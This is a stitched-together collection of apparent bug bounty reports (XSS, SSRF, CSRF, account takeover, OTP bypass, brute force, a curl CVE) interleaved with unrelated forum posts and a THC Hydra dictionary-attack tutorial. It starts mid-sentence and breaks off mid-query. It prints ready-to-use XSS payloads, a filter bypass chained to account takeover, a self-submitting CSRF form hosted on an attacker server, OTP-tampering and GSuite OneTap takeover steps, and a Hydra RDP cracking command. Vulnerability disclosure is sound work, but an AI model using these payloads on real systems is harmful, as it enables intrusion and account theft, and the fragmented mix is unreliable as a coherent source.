When both are true the attacker is able to some content of the stack. Note however that for this leak to be meaningful, some confidential or sensitive information would need to be leaked. This could happen if some key or other sensitive material (that is otherwise out of the reach of the attacker, due to for example setuid + dropping of privileges, or for example only being able to execute the command remotely in a limited fashion, for example php curl, or similar) would thus become visible fully, or partially. The leak is limited to maximum about half of the 2048 byte temp buffer.
Steps To Reproduce:
Run telnet service
tcpdump -i lo -X -s 65535 port 23
Execute


[Server-Side Request Forgery (SSRF)] blind Server-Side Request Forgery (SSRF)  allows scanning internal ports

hello dear support

I found a Blind SSRF issue that allows scanning internal ports. on https://fleet-status.app.elstc.co

from this issue, you can check the server port

HTTP request
===========
GET /api/v1/http/default/raw?regex=%22service.name%22:/s*%22(package-registry)%22&statusCodeMax=200&statusCodeMin=200&url=http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22 HTTP/1.1
Host: fleet-status.app.elstc.co
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close

if you add port 22 you will get

{"type":"HTTP-RAW","status":"WARNING","label":"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22","message":"timeout/host unreachable"}

not open

if you add  port 80

response
{"type":"HTTP-RAW","status":"FAILURE","label":"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:80","value":{"values":["\u003chtml\u003e\u003cbody\u003eift3z4lojdng3fv7r68q5szjigz\u003c/body\u003e\u003c/html\u003e"],"unit":"RAW"}}

port 80 open

## Impact

Since this is a blind SSRF, it is not possible to read the response of HTTP requests. However this vulnerability can be used for reconnaissance.
Example: Port Scan by measuring response time


I’m also struggling with logging in via SSH. See the screenshot for my attempts and the last one is me pasting the password in to show that it’s the correct password. Screenshot 2023-06-26 141758 1020×803 74.1 KB The instructions for how to connect via SSH (at the bottom of the screenshot) looks to be missing the IP address so I might be using the wrong IP address. Has anyone also had this issue?


[Information Disclosure] Folder architecture and Filesizes of private file drop shares can be getten

## Steps To Reproduce:

1. Create a new Folder "TestABC"
2. Share a password protected link of this folder
3. Create a file "README.md" and a file "README.md" in the Subfolder "Subfolder".

==> curl -H "OCS-APIREQUEST: true" "http://localhost/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345"

==> curl -H "OCS-APIREQUEST: true" "http://localhost/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345&folder=subfolder"

## Impact

Folder architecture and Filesizes of private file drop shares can be getten


[Violation of Secure Design Principles] Text Injection/ Content Spoofing on  https://cloud.e.khanacademy.org  by breaking out of input tag.

Hello security team,

Target: https://cloud.e.khanacademy.org/
Position: https://cloud.e.khanacademy.org/districts-demo-form?utm_source=INJECTION_HERE&utm_medium=INJECTION_HERE

Introduction: Content spoofing, also referred to as content injection, "arbitrary text injection" or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.

In order for the text to get injected, an attacker first need to break out of input tag because, the parameters with those values are reflected in the DOM inside input tags.So, an attacker can identify and simply break out of input tag by entering :( "> ) at the beginning of the text .Here, then only the injected text is visible to the screen  and  here it comes with the risk of phishing.

** Steps to Reproduce:
1.Go to https://cloud.e.khanacademy.org/districts-demo-form?utm_source=INJECTION_HERE&utm_medium=INJECTION_HERE,
2.Enter "> to close out of input tag in place of INJECTION_HERE, either as value of parameter:utm_source or utm_medium,
3. After the "> characters, enter anything you want to show to the victim in order to phish,
4.Observe below  the submit button , the text after "> , is reflected in the page.

## Impact

The attacker will play with the trust of victim and may fool him/her to enter credentials to attacker's site.This can't only be the case, there arises so many phishing  scenarios and it also affects the reputation of the organization.


[Cross-site Scripting (XSS) - Generic] Cross-site scripting via hardcoded front-end watched expression.

Hello, favorite security team. This is so far most interesting XSS i've found on your website. And also this is 10th bug i report you, so im gonna celebrate.

**Summary:** Via hardcoded front-end code in algo debugger one is able to execute XSS on algorithm collaborator. One is able to use python to change the output of that hardcoded expression, which is unsanitized HTML, where cross-site scripting fires. Additionally, one can store the malicious code in algorithm and share it, so XSS will fire on anyone who will clone and run the algorithm.

**Description:**
This is an interesting one. First, i noticed that when one validates the code **with debugger**, a certain web socket request is sent
```json
{"e":"set_watch","p":["get_datetime().strftime(\"%Y-%m-%d %H:%M:%S\")#__QUANTOPIAN__"]}
```
By lurking deeper, I've determined that this request sets watched expression, the one that is in charge of current date and time in the debugger:
{F569596}
To check the assumption that this place might contain unsanitized html, i've intercepted incoming web socket response with the result of aforementioned expression (datetime) and added an XSS payload to it, and it worked.

The fact that it is set as a user-defined watched expression got me thinking. We can remove it manually, and calendar will disappear. And we can set it again, and it will reappear, which was interesting. I've tried several different expressions with #__QUANTOPIAN at the end, but nothing appeared where calendar is supposed to be. I wrote to JD on Quantopian's slack, who was kind enough to tell me:
>exact string (including ```get_datetime()```, not just the trailing ```__QUANTOPIAN__``` part) is used as a command from our frontend javascript code to request the current algorithm execution time between each other command that the user sends. However, that exact string is stored as a constant in our frontend code, so only the response that matches that exact value will be shown in the date area.

...what basically means that any output that is generated by this exact expression goes directly into unsanitized HTML.

So we force this expression to output what we want by adding this class :)

----------------
```python
class get_datetime():
    def __init__(self):
        self.img = '<img src=x'+' one'+'rror=alert(1)>'
    def strftime(self, x=None):
        return self.img
```
--------------
And next time debugger is launched, expression ```get_datetime().strftime("%Y-%m-%d %H:%M:%S")#__QUANTOPIAN__``` outputs ```<img src=x onerror=alert(1)>```, executing javascript.

I'd like to additionally say that there are two vectors of the attack.
* attack on the collaborator. This is as sneaky, as #615672, because it requires no interaction with the victim. We can either wait for him to be away from keyboard and re-validate our algorithm code with malicious class. Or we can start the backtest even without the code visible, and just intercept outgoing POST request, and since it sends the whole code, we can add our malicious class there. It will not appear visible at any point, but xss will fire.
* attack on anyone who will clone malicious algorithm and run it in his own ide with debugger. First we can obfuscate the code (especially if algo is large, this becomes easier), and share it.

## Steps To Reproduce:

(Add details for how we can reproduce the issue)

  1. add xss class to algo code
  2. set breakpoint in code so debugger will open, start
  3. execute it on collaborator, or obfuscate class and share it.

## Supporting Material/References:
{F569615}

## Test account information
tvburis+hackerone@gmail.com
irisrumtub+hackerone@mail.ru

## Impact

Execute our own javascript with all the consequences, steal algorithms (because xss happens on quantopian.com).


[Improper Authentication - Generic] Account takeover via Google OneTap

## Summary:

It's possible to take over any priceline.com user's account knowing their email. The only requirement is that the victim's email domain is not registered with Google's Gsuite. The root cause of this issue is that the backend does not verify whether the email provided is a confirmed one.

## Steps To Reproduce:

1. Create Account A (in my case `badca7@wearehackerone.com`) with priceline.com, without any SSO, via the "Create an account" link (aka "register with email").
2. Once the account has been created, add a dummy phone number to the profile. It will serve as a canary to demonstrate we accessed the same data in the next steps.
3. In another browser/session (eg, incognito/private mode) sign up for a trial GSuite account at https://gsuite.google.com/signup/basic/welcome  . This will be Account B.
4. Use any email to register as you won't need to confirm that email.
5. When the wizard comes to the "Does your business have a domain?" confirm and enter `wearehackerone.com` (or any other domain that hosts the victim's email box) as in F552718. You may not use the same domain name at this stage, as I claimed it for the purposes of this PoC however you can do so when my GSuite trial expires. From this comes the requirement that the victim's email domain name must not be registered with Google prior to this attack.
6. Once you saved the domain record with Google, stop there as there's no need to verify the domain.
7. At this stage the OneTap/GoogleYOLO popup will be showing on priceline.com when visited in the same browser session. It took me some time to get it to show however signing in and out of Google Account several times with the newly created GSuite credentials and then refreshing the priceline.com page helped. On another occasion a Gmail account, which I signed in in the same browser window helped too. You may need to play around with these until you see the newly created account to show in the list. F552723
8. Once you have that, just sign in (`badca7@wearehackerone.com` in my case). You can confirm you accessed Account A by seeing the phone number you added in step (2). In the other browser window/session with Account A you can see that now there are two accounts showing in the top right corner and the profile data is blank.
9. Account takeover complete. F552724

# Notes

- IP used for this PoC: 139.59.90.143

## Impact

Attackers can take over any priceline.com account given they were able to register a specific domain with GSuite.


[Information Disclosure] Visibility Robots.txt file

Issue detail:-
The web server contains a robots.txt file.
Issue background:-
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site that robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation:-
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.

URL -  https://krisp.ai/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: https://krisp.ai/sitemap.xml

Here, /wp-admin/admin-ajax.php  is Allow which gives some private information.

URL -  https://krisp.ai/robots.txt/wp-admin/
                view-source:https://krisp.ai/robots.txt/wp-admin/
These URL is also Accessible which provide some private information.

Sitemap:  https://krisp.ai/sitemap.xml

## Impact

If u have robots.txt file so attacker can see all Your secret pages!


[Missing Critical Step in Authentication] JWT audience claim is not verified

All versions of Argo CD starting with v1.8.2 are vulnerable to an improper authorization bug causing the API to accept certain invalid tokens.

OIDC providers include an aud (audience) claim in signed tokens. The value of that claim specifies the intended audience(s) of the token (i.e. the service or services which are meant to accept the token). Argo CD does validate that the token was signed by Argo CD's configured OIDC provider. But Argo CD does not validate the audience claim, so it will accept tokens that are not intended for Argo CD.

## Impact

If Argo CD's configured OIDC provider also serves other audiences (for example, a file storage service), then Argo CD will accept a token intended for one of those other audiences. Argo CD will grant the user privileges based on the token's groups claim, even though those groups were not intended to be used by Argo CD.

This bug also increases the blast radius of a stolen token. If an attacker steals a valid token for a different audience, they can use it to access Argo CD.


Hi All, Can someone give me a nudge or DM me for Secret Message? I know the tool to use and think I know the c****** that has been used but can’t bruteforce the passkey. Am I looking at this the wrong way… Any help appreciated! S


Thanks to everyone posting on this… I’m really enjoying this module including the “Take Control of EIP” lesson… but was stuck too until seeing everyone’s posts. The “Take Control of EIP” quiz “Examine the registers and submit the address of EBP as the answer” is asking the student to submit something other than the correct answer. It does not want the address of anything, but instead, as others have made clear, something else related to EBP.


[Cross-site Scripting (XSS) - Reflected] Reflected XSS at ████████

The domain █████████ have dochelper where the user id is submitted.
We can submit the crafted XSS payload to pop the alert message by accesing the cookie.

POC URL:
```
https://████/dochelper?userId=</b><script>alert(document.cookie)</script><b><!--
```

█████

## References
CVE-2016-5682
https://portswigger.net/web-security/cross-site-scripting
https://www.bugbountyhunter.com/vulnerability/?type=xss

## Impact

*   As an attacker, I can Steal the cookie of the User, by sending a crafted mail to them.
*   Victim's Account can be compramised
*    Impersonate or masquerade as the victim user.
*    Carry out any action that the user is able to perform.
*    Read any data that the user is able to access.
*    Capture the user's login credentials.
*    Perform virtual defacement of the web site.
*    Inject trojan functionality into the web site.

## System Host(s)
█████████

## Affected Product(s) and Version(s)

## CVE Numbers
CVE-2016-5682

## Steps to Reproduce
1. Visit https://████████/dochelper?userId=
2. Put a crafetd XSS payload to the userId parameter. (</b><script>alert(document.cookie)</script><b><!--)
3. Open the link in the browser

## Suggested Mitigation/Remediation Actions
1. Filter input on arrival
2. Encode data on output.


[Improper Authentication - Generic] Otp  bypass in verifying nin

## Summary:

while conducting my research in your website I found that while verifying NIN number it send the otp to the enterd mobile number that can be bypassed.

## Steps To Reproduce:

1) Go to https://nin.mtnonline.com/nin/
2) click submit nin.Now it will redirect to another page https://nin.mtnonline.com/nin/
3) It asks for mobile number and National Identity Number [NIN].
4) Enter the mobile and NIN number and click Next.It will send the otp to the mobile number.
5) Enter any 6 digit code and click verify and capture the request in bupsuite and click action and select "Do intercept and response to the request"
6) Now change the response status to success.
------>Now successfully verified mobile number.

## Impact

The attacker can able to verify NIN with any number.

Note: I had attached the poc video below please take a look.

Regards,
@aaruthra.


[Cross-site Scripting (XSS) - Generic] Email templates XSS by filterXSS bypass

## Summary:
`js-xss` is used to prevent XSS on email templates previews but the custom `onIgnoreTag` function can be used to bypass this filter. This leads to a Self-XSS scenario that can be used to achieve Account Takeover in 1-click.

```js
onIgnoreTag: function (e, t) {
   return "!--[if" === e || "![endif]--" === e || "<!-->" === t ? t : void 0;
},
```

## XSS

The way how `js-xss` parse tags starting with `<![` differ from how browser parse it, so it's possible to abuse this in this way:
```html
<![endif]-- onerror="<![endif]-->" onload="<img src=1 onerror='alert(1)' />">
```
Sending this as the HTML email template will trigger an XSS when the email is previewed. Since email templates are private and only the owner of the template can preview it, this can be considered a Self-XSS. But there is a way to do another user preview it, leading to an account takeover in 1-click.
We can use HMAC authentication feature to force another user login in our account and preview the malicious email:
```
https://www.judge.me/shop/emails/2243518/edit?no_iframe=1&shop_domain=wordpress.caueo.me&platform=woocommerce&hmac=████
```
This URL authenticates as admin on `wordpress.caueo.me` domain, where the malicious email will be. The HMAC hash is created on this way (taken from wordpress plugin):
```php
$hmac       = hash_hmac( 'sha256', "no_iframe=1&platform=woocommerce&shop_domain={$domain}", $token, false );
```

Having this XSS with the victim logged in my account is possible to leak HTML content of a page that was loaded with victim's account cookie:

1. Load an iframe with the victim's page (HTML content to leak) - Authenticated as victim
2. Load another iframe with the XSS (Use HMAC authentication) - Authenticated as me
3. We can use the XSS to read `parent.frames[0]` HTML content since it is same-origin

## CSP bypass
At a first sight we can't load an iframe to victim's page, since it has a CSP that whitelists iframe origins:
```
frame-ancestors https://wordpress.caueo.me http://wordpress.caueo.me wordpress.caueo.me https://woocommerce-adapter.judge.me/ *.judge.me
```
To bypass it we can use the XSS to load the iframes, but we need to do it on another subdomain, because to trigger this XSS is needed to login in my account and then it would not be possible to load the victim's page authenticated as victim's account later. So we trigger the XSS on `www.judge.me` subdomain.

## Limitation to 0-click account takeover
At this point it is already **possible to read HTML content of almost any page authenticated as victim**. To achieve account takeover we only need to get the private API token from victim because it is used as the key of HMAC authentication.
The problem is that the endpoint that retrieves the API private token checks if the `Referer` header starts with `https://judge.me/settings`, so is not possible to load this endpoint in an iframe.

## Clickjacking
We can load an iframe to `https://judge.me/settings` where has a button that retrieves the API token from the endpoint successfully. So it is possible to perform a clickjacking to that button, and if the victim clicks on it, we can get the API private token.

## PoC
I made a PoC on how is possible to perform this account takeover with user interaction and leak some stuffs without user interaction.
[PoC](https://www.judge.me/shop/emails/2243518/edit?no_iframe=1&shop_domain=wordpress.caueo.me&platform=woocommerce&hmac=█████████)

In this PoC I leaked FreshChat token without clickjacking, so we can impersonate another user in support chat without needing a user click.

## Impact

Shop account takeover (user interaction)
Impersonation on support chat
Private content leak


[Cross-site Scripting (XSS) - Generic] Open Akamai ARL XSS at ████████

## Summary
There is Open Akamai ARL XSS at ████████

## Proof-of-Concept
http://████/7/0/33/1d/www.citysearch.com/search?what=Binit&where=Binit%22%3E%3Cimg%20src%3Dbinit%20onerror%3Dalert%28document.domain%29%3E

## References:
- https://github.com/war-and-code/akamai-arl-hack
- https://twitter.com/SpiderSec/status/1421176297548435459
- https://warandcode.com/post/akamai-arl-hack/
- https://github.com/cybercdh/goarl
- https://community.akamai.com/customers/s/article/WebPerformanceV1V2ARLChangeStartingFebruary282021?language=en_US

## Impact

Attackers can execute malicious JavaScript code in the target webpage.

## System Host(s)
█████████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
http://████/7/0/33/1d/www.citysearch.com/search?what=Binit&where=Binit%22%3E%3Cimg%20src%3Dbinit%20onerror%3Dalert%28document.domain%29%3E

## Suggested Mitigation/Remediation Actions
Visit
- https://community.akamai.com/customers/s/article/WebPerformanceV1V2ARLChangeStartingFebruary282021?language=en_US


[Improper Access Control - Generic] Staff can create workflows in Shopify Admin without apps permission

## Summary:
[add summary of the vulnerability]

According to publicly available docs, Flow can be accessed in two ways.
1. through the Shopify organization admin (Shopify plus)
2. by installing the Shopify Flow app.
I stumbled on /admin/internal/web/graphql/flow endpoint which is accessible to a staff member with only `marketing` permission. The said endpoint makes it possible to create workflows and perform other flow related actions without using any of the two methods stated above. To substantiate my claim, I created a workflow that 'adds a tag whenever a customer registers an account' (created an account tag) see the image below for details.
{F1667015}

It's worth mentioning that the workflows created this way don't show up in the app or any where else, information about them can only be gotten by hitting the same endpoint. There are couple of other mutations that are accessible but I used only `templateInstall` and `workflowActivate` for demonstration. What follows below are example GraphQL queries and steps to reproduce.
First, we need to install a template to activate.
See the image below for details
{F1667014}

```
{"operationName":"templateInstall","variables":{"templateId":"977bf9aa-ae6a-4a7c-b3f2-051c9e856c6f","shopIds":[]},"query":"mutation templateInstall($templateId: ID!, $shopIds: [ID!]!) {\n  templateInstall(templateId: $templateId, shopIds: $shopIds) {\n    installed {\n      shopId\n      workflowId\n      workflowVersion\n      __typename\n    }\n    errors {\n      shopId\n      message\n      __typename\n    }\n    __typename\n  }\n}\n"}

```
After installing a template of our choice, we then activate the workflow.
See the image below for details.
{F1667018}

```
{"operationName":"activateWorkflowMutation","variables":{"workflowId":"240ed0ee-d099-4066-8eac-7ce777ef4fe4","version":"acc5731a-7802-4622-857b-0191f8c0ee9d","contextType":"shop","contextId":"10979704928"},"query":"mutation activateWorkflowMutation($workflowId: ID!, $version: String, $contextType: String!, $contextId: ID!) {\n  workflowActivate(\n    workflowId: $workflowId\n    version: $version\n    contextType: $contextType\n    contextId: $contextId\n  ) {\n    workflow {\n      ...workflow\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment workflow on Workflow {\n  id\n  name\n  steps {\n    ...step\n    __typename\n  }\n  links {\n    ...link\n    __typename\n  }\n  activations {\n    ...activation\n    __typename\n  }\n  lastUpdated\n  activationState\n  versionState\n  version\n  parentVersion\n  shopifyDomain\n  shopifyName\n  owner {\n    contextId\n    contextType\n    __typename\n  }\n  ...validationErrors\n  tags\n  __typename\n}\n\nfragment step on Step {\n  id\n  task {\n    ...task\n    __typename\n  }\n  position {\n    x\n    y\n    __typename\n  }\n  inputPort {\n    name\n    identifier\n    __typename\n  }\n  outputPorts {\n    name\n    identifier\n    __typename\n  }\n  ...stepConfig\n  note\n  description\n  __typename\n}\n\nfragment task on Task {\n  id\n  label\n  description\n  dynamicDescriptionTemplate\n  taskType\n  path\n  inputPort {\n    id\n    name\n    __typename\n  }\n  outputPorts {\n    id\n    name\n    __typename\n  }\n  iconUrl\n  documentationUrl\n  __typename\n}\n\nfragment stepConfig on Step {\n  id\n  taskType\n  task {\n    id\n    label\n    description\n    __typename\n  }\n  configFields {\n    __typename\n    ... on ArrayConfigField {\n      valuePlaceholder\n      stepConfigFieldIdentifier\n      supportsLiquid\n      description\n      label\n      value\n      validations {\n        id\n        options\n        errorMessage\n        __typename\n      }\n      __typename\n    }\n    ... on CollectionsConfigField {\n      valuePlaceholder\n      stepConfigFieldIdentifier\n      description\n      label\n      value\n      errors {\n        title\n        message\n        __typename\n      }\n      __typename\n    }\n    ... on BooleanConfigField {\n      valuePlaceholder\n


Dictionary Password Cracking (A THC Hydra starter guide)

Hello! In this tutorial, we will explore how to run a dictionary attack of THC Hydra. Let’s get started. If you are running Kali Linux you will already have a version of Hydra installed. If not you can install it on Linux platforms using the command sudo apt-get install hydra or just download it from the Github Repository https://github.com/vanhauser-thc/thc-hydra . Once you have finished the installation you have a new application called THC-Hydra. It should look like this: image 523×616 46.3 KB THC Hydra has the option of running a dictionary attack or a brute force attack, however, in this tutorial, we will focus on the Dictionary Attack option. In the THC Hydra folder, you can import wordlists for dictionary attacks. I am getting mine from skullsecurity.org . In this, I am using the Rockyou.txt wordlist. To start the cracking, you would input command like this. hydra -t 4 -V -f -l administrator -P rockyou.txt rdp://Add IP ADRESS HERE . If you did everything correctly it should look like this: image 945×597 155 KB Congratulations! You were able to run a dictionary attack using THC Hydra. I hope this helps you. C_J


[Cleartext Storage of Sensitive Information] Exception logging in Sharepoint app reveals clear-text connection details

## Summary:
On Exceptions thrown in the context of the SharePoint app, connection credentials may be written to the Nextcloud log in clear text.

## Steps To Reproduce:

Attempt to configure a sharepoint mount in an erroneous way.

## Supporting Material/References:

  * was files publically: https://github.com/nextcloud/sharepoint/issues/141

## Impact

When an attacker gets hold of the nextcloud log, they may gain knowledge of credentials to connect to a SharePoint service.


Awesome challenge so far, I have to agree with others that the biggest hustle was finding where to inject command. There is no need to base64 encode anything if you don’t want. Feel free to PM me if you are stuck.


[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://███████

It was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.
poc attached
another parameter at #1636345
q_13787
payload: %22%27%3e%3csvg%2fonload%3dconfirm(666)%3e

## Impact

Cookie Stealing - A malicious user can steal cookies and use them to gain access to the application.
Arbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.
Malware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the
site, the user may be more likely to trust the request and actually install the malware.
Defacement - attacker can deface the website usig javascript code.

## System Host(s)
█████████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
video attached

## Suggested Mitigation/Remediation Actions


[Improper Restriction of Authentication Attempts] weak protection against brute-forcing on login api leads to account takeover

## Summary:
Weak protection against brute-forcing on login API: https://api.outpost.co/api/v1/login leads to account takeover on https://www.teamoutpost.com/
## Steps To Reproduce:
* Sign in on https://www.teamoutpost.com/
███
* redirect to https://app.outpost.co/sign-in to login
█████████
* test any login credentials and review the request to https://api.outpost.co/api/v1/login
███████
* Notice the difference between the wrong user "Username does not exist" and wrong password " Password does not match username"
████
* first we need to brute-force on username to get some valid usernames
█████████
* We can grep on "Username does not exist"
██████
* Here is valid usernames without  "Username does not exist"
██████████
* Notice the API doesn't block me for many requests even I reached more than 33K request and continue
████
* after we exported a list of valid usernames we can brute-force for password fore every username on the list
██████████
* I imported valid usernames as 1st payload
██████
* for 2nd payload I can use a passwords list but I tried the simplest password that user can register with " 9 characters long "
███████
* we got some credentials even with ADMIN role
██████████

## Impact

account takeover


[Cross-Site Request Forgery (CSRF)] Widespread CSRF on authenticated POST endpoints

## Summary:

Cross-Site Request Forgery (CSRF) is possible on most, if not all, authenticated POST endpoints.

While CORS is configured such that the Access-Control-Allow-Origin header is set to `Access-Control-Allow-Origin: hackers.upchieve.org`, CORS does **not** prevent CSRF - it only prevents the attacker from reading the response. This does not stop the attacker from performing any arbitrary actions on behalf of the user.

This is possible through a simple HTML form with hidden inputs, submitted with JavaScript. While POST requests are made using JSON data by default, `application/x-www-form-urlencoded` is accepted as well. Because the user's session cookie does not have the SameSite attribute set, it is sent along with the request.

The following endpoints were found to be vulnerable:
- `POST /api/calendar/save` (set availability for text messages)
- `POST /api/training/score` (submit quizzes and subject certifications)
- `POST /auth/reset/send` (send password reset email)
- `POST /api/user/volunteer-approval/background-information` (submit background information)
- `POST /api/user/volunteer-approval/reference` (request a reference)

The attacker can perform any of the above actions on behalf of the user, as long as the user has a valid session cookie. There are probably more endpoints to be discovered, but I do not have access to them yet due to the approval / onboarding process.

PUT requests, particularly `PUT /api/user` (to update a user's phone number and account status), are not possible through this method. However, older browsers might not comply to CORS pre-flight requests and still allow a PUT request initiated by JavaScript on the attacker's site to go through.

## Steps To Reproduce:

1. As a victim, log in to https://hackers.upchieve.org/
2. Create a page like the one below.

This is an example for performing a CSRF on the `/api/calendar/save` endpoint (the full HTML file is attached). In this example, we set all the possible time slots to "true".

```html
<html>
  <body>
    <form action="https://hackers.upchieve.org/api/calendar/save" method="POST">
        <input type="hidden" name="availability[Sunday][12a]" value="true" />
        <input type="hidden" name="availability[Sunday][1a]" value="true" />

		...

        <input type="hidden" name="availability[Saturday][11p]" value="true" />
        <input type="hidden" name="tz" value="Asia/Singapore" />
    </form>
    <script>
      	document.forms[0].submit();
    </script>
  </body>
</html>
```

3. Serve the page on the attacker server.
4. As the victim, visit http://ATTACKER_SERVER/calendar_csrf.html

Once the HTML page loads on the browser, the POST request is submitted and we would see the following response:

```json
{"msg":"Schedule saved"}
```

5. Verify that the victim's calendar has been modified.

I have also prepared other CSRF payloads for the other endpoints.

- `calendar_csrf.html` performs the above-described attack.
- `reference_csrf.html` sends out reference requests on behalf of the victim.
- `quiz_csrf.html` submits quizzes for grading on behalf of the victim.
- `reset_csrf` sends out password resets on behalf of the victim.

## Supporting Material/References:

I have attached the CSRF payloads, a screenshot of the changed calendar, and a screenshot of the output from the quiz CSRF.

## Recommendations for Fixing/Mitigation

- Use CSRF tokens
- Use the SameSite attribute for cookies

## Impact

When an authenticated user visits any attacker-controlled site, the attacker is able to perform arbitrary authenticated actions on behalf of the user. While the attacker cannot obtain the request output from the CSRF, he is still able to perform sensitive actions blindly.


[Server-Side Request Forgery (SSRF)] CVE-2022-27780: percent-encoded path separator in URL host

## Summary:
URL decoding the entire proxy string could lead to SSRF filter bypasses. For example,

When the following curl specifies the proxy string `http://example.com%2F127.0.0.1`

- If curl URL parser or another RFC3986 compliant parser parses the initial string http://127.0.0.1%2F.example.com, it will derive 127.0.0.1%2Fexample.com or 127.0.0.1/example.com as the host, if for instance, an SSRF check is used to determine if a host ends with .example.com (.example.com being a allow-listed domain), the check will succeed.
- curl will then URL decode the entire proxy string to http://127.0.0.1/example.com and send it to the server
````
GET http://127.0.0.1/example.com HTTP/1.1
Host: 127.0.0.1/example.com
User-Agent: curl/7.83.0
Accept: */*
Proxy-Connection: Keep-Alive
````
- This proxy string is valid, and proxy servers, even RFC3986-compliant ones will send the request to the host 127.0.0.1

## Steps To Reproduce:
I switched things up and used 127.0.0.1 as the allow-listed server and example.com as the target server to make it easier (no need to setup a HTTP server) to reproduce.

1. I used https://github.com/abhinavsingh/proxy.py as my proxy server.
2. Perform the following:
````
curl -x http://127.0.0.1:8899 http://example.com%2F127.0.0.1
````
3. You will receive a malformed response
````
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
        <head>
                <title>400 - Bad Request</title>
        </head>
        <body>
                <h1>400 - Bad Request</h1>
        </body>
</html>
````
However, this response is actually being returned by example.com, the reason is that proxy.py will forward the Host header, currently 127.0.0.1/example.com curl sends it, making it a Blind SSRF

4. If
- an attacker can control the host header either via curl itself
- the proxy does not forward the host header curl sends,
- or if servers which ignore the Host header entirely such as Express is used,
it is possible to read the full response
````
curl -x http://127.0.0.1:8899 -H "Host: example.com" http://example.com%2F127.0.0.1/%2e%2e/
````
## Recommended Fix:
The recommended fix for this is to not URL decode the host component of the proxy string when passing to proxy server.

## Impact

SSRF filter bypass at if the curl URL parser or a RFC 3986 parser is used, it could lead to blind / full SSRF depending on the proxy used.


[Cross-site Scripting (XSS) - Reflected] reflected XSS in [www.equifax.com]

hi , I hope you are well, i found reflected XSS in this endpoint:
```https://www.equifax.com/personal/help/search?search=broook```

###Steps:
1.  open ```https://www.equifax.com/personal/help/search?search=broook```
2. view the source code of the page and search for word  ```broook```  you will find that it reflected in the source code:
{F2094830}

3. ```broook``` word reflected in javascript code:
```
<script type="text/javascript">
           window.onload = function(e){
            	Analytics.trackEvent('emptySearch',{internalSearchTerm: "broook" , numOfSearchResultsReturned: 0});
            	}
           </script>
```

-

-

4. By using this payload ```%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b```  , I  modified the parameters of the ```Analytics.trackEvent``` function to be like this:
```
<script type="text/javascript">
	      window.onload = function(e){
	          Analytics.trackEvent('SEARCHRETURNED',{internalSearchTerm: "" , internalSearchTerm: [7].map(alert) , numOfSearchResultsReturned: "b" , numOfSearchResultsReturned: 167});
	               	}
	     </script>

```
{F2094863}

-
-

5. the following is the link with my XSS payload :   https://www.equifax.com/personal/help/search?search=%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b

{F2094867}

## Impact

an attacker can exeute JS codes on the victims and this could be steal user's cookies


[Cross-site Scripting (XSS) - Stored] Stored XSS in repository file viewer

### Summary
There exists XSS in swagger-ui version used in GitLab open API viewer. The XSS exists due to the old version of DOMpurify used in swagger-ui that allows an attacker can  **inject any HTML elements with any attributes** (except script tag) on the page.

The XSS in POC requires 1 click anywhere on the page to execute, because of CSP that does not allow to execute events from HTML tags. (f.e. <img src=1 onerror=alert(1)). I will try to find CSP bypass that will allow me to execute the script with no user interaction.

My script uses the CSP bypass presented in https://gitlab.com/gitlab-org/gitlab/-/issues/213273
```
<a
  data-remote="true"
  data-method="get"
  data-type="script"
  href="/wbowling/wiki/raw/master/test.js"
  class='atwho-view select2-drop-mask pika-select'>
</a>
```

### Steps to reproduce

1. Go to https://gitlab.com/kannthu/asdasdas123/-/blob/master/openapi.yaml (tested on Chrome and Firefox)
2. Click anywhere on the page
3. You should see the alert box

There is another way of executing this XSS. **You can add "url=https://gitlab.com/kannthu/asdasdas123/-/raw/master/openapi.yaml" parameter to the URL of any open API file in any repository, and the XSS will still work**.

1. Open https://gitlab.com/gitlab-org/build/omnibus-mirror/alertmanager/blob/master/api/v2/openapi.yaml?url=https://gitlab.com/kannthu/asdasdas123/-/raw/master/openapi.yaml
2. Click anywhere on the page
3. You should see the alert box

